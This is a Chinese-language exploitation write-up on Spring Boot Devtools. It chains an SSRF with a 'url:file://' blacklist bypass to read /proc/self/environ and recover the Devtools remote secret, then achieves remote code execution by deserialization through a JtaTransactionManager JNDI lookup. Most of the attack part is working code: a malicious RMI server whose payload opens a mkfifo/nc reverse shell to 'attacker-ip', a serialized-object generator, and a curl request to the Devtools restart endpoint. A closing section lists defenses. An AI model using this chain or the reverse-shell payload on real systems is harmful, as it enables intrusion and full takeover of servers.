记一次Spring Devtools反序列化利用
字数 1372 2025-08-20 18:17:53
Spring Devtools 反序列化漏洞分析与利用
0x01 漏洞背景
Spring Boot Devtools 是 Spring Boot 提供的开发者工具模块,主要用于提高开发效率,支持热部署等功能。在特定配置下,Devtools 的远程调试功能存在反序列化漏洞,可能导致远程代码执行。
0x02 漏洞环境分析
环境特征
- Spring Boot 应用启用了 Devtools 模块
- 配置文件中设置了
spring.devtools.remote.secret属性 - JDK 版本为 8u265(高版本)
- 依赖中包含
spring-boot-devtools和spring-tx
关键依赖
<dependency>
<groupId>org.springframework.boot</groupId>
<artifactId>spring-boot-devtools</artifactId>
<optional>true</optional>
</dependency>
0x03 前置漏洞:SSRF 到任意文件读取
漏洞代码分析
控制器中存在一个 SSRF 端点:
@RequestMapping(value = "/pathneverguess", method = RequestMethod.GET)
@ResponseBody
public String ping(@RequestParam String url) {
return PingUtil.ping(url);
}
PingUtil 类中的关键方法:
public static String ping(String urlString) {
String ret = "";
OutputStream os = new ByteArrayOutputStream();
if (validate(cleanUrl(urlString))) {
try {
URL url = new URL(urlString);
URLConnection urlConnection = url.openConnection();
// ... 读取URL内容并返回 ...
} catch (Exception e) {
e.printStackTrace();
}
}
// ...
}
协议过滤绕过
validate 方法使用正则表达式过滤危险协议:
String blacklist = "^[file|netdoc|jar|ftp|mailto]";
Pattern pattern = Pattern.compile(blacklist, Pattern.CASE_INSENSITIVE);
绕过技巧:
利用 URL 类的处理特性,在协议前添加 url: 前缀可以绕过过滤:
url:file:///etc/passwd
信息收集
通过文件读取获取关键信息:
/proc/self/environ泄露环境变量(包括 SECRET)- 发现
spring.devtools.remote.secret=${SECRET}配置
0x04 Devtools 反序列化漏洞
漏洞原理
Devtools 的远程调试功能提供了 HTTP 接口处理序列化数据:
public void handle(ServerHttpRequest request, ServerHttpResponse response) throws IOException {
try {
ObjectInputStream objectInputStream = new ObjectInputStream(request.getBody());
ClassLoaderFiles files = (ClassLoaderFiles) objectInputStream.readObject();
// ...
}
// ...
}
认证机制
请求需要包含正确的 X-AUTH-TOKEN 头,对应 spring.devtools.remote.secret 的值。默认值为 "mysecret",开发者常忘记修改。
0x05 高版本 JDK 下的利用
环境限制
- JDK 8u265(高版本)
- 常规反序列化链不可用
- JNDI 注入受到限制
可用利用链
利用 spring-tx 中的 JtaTransactionManager 触发 JNDI 查找:
org.springframework.transaction.jta.JtaTransactionManager
利用步骤
- 搭建恶意 RMI 服务器
- 构造恶意序列化对象
- 通过 Devtools 接口发送恶意请求
0x06 完整利用过程
1. 搭建恶意 RMI 服务
public class rmi {
public static void main(String[] args) throws Exception {
System.setProperty("java.rmi.server.hostname", "attacker-ip");
Registry registry = LocateRegistry.createRegistry(1099);
ResourceRef ref = new ResourceRef("javax.el.ELProcessor", null, "", "", true, "org.apache.naming.factory.BeanFactory", null);
ref.add(new StringRefAddr("forceString", "KINGX=eval"));
ref.add(new StringRefAddr("KINGX",
"\"\".getClass().forName(\"javax.script.ScriptEngineManager\")" +
".newInstance().getEngineByName(\"JavaScript\")" +
".eval(\"new java.lang.ProcessBuilder['(java.lang.String[])']" +
"(['/bin/bash','-c','rm -f /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc attacker-ip 4444 >/tmp/f']).start()\")"));
ReferenceWrapper referenceWrapper = new com.sun.jndi.rmi.registry.ReferenceWrapper(ref);
registry.bind("Object", referenceWrapper);
}
}
2. 生成恶意序列化对象
public class poc implements Serializable {
public static void main(String[] args) throws Exception {
String jndiAddress = "rmi://attacker-ip:1099/Object";
org.springframework.transaction.jta.JtaTransactionManager object =
new org.springframework.transaction.jta.JtaTransactionManager();
object.setUserTransactionName(jndiAddress);
ObjectOutputStream objectOutputStream =
new ObjectOutputStream(new FileOutputStream("expObject"));
objectOutputStream.writeObject(object);
objectOutputStream.close();
}
}
3. 发送恶意请求
使用 curl 发送恶意请求:
curl -X POST \
-H "X-AUTH-TOKEN: found-secret" \
--data-binary @expObject \
http://target:8080/.~~spring-boot!~/restart
0x07 防御措施
-
禁用 Devtools 远程调试:
- 生产环境移除
spring-boot-devtools依赖 - 或设置
spring.devtools.remote.enabled=false
- 生产环境移除
-
使用强密钥:
- 设置复杂且唯一的
spring.devtools.remote.secret
- 设置复杂且唯一的
-
升级 JDK:
- 使用最新版本 JDK,修复已知反序列化漏洞
-
输入验证:
- 对所有用户输入进行严格验证和过滤
-
网络隔离:
- 限制 Devtools 端口的网络访问
0x08 总结
Spring Boot Devtools 的反序列化漏洞结合高版本 JDK 的绕过技术,可以形成完整的攻击链。攻击者需要先获取 Devtools 的 secret(默认或通过其他漏洞获取),然后构造特定的序列化对象触发 JNDI 注入,最终实现 RCE。
该漏洞的利用展示了从 SSRF 到文件读取,再到反序列化 RCE 的完整攻击路径,强调了纵深防御的重要性。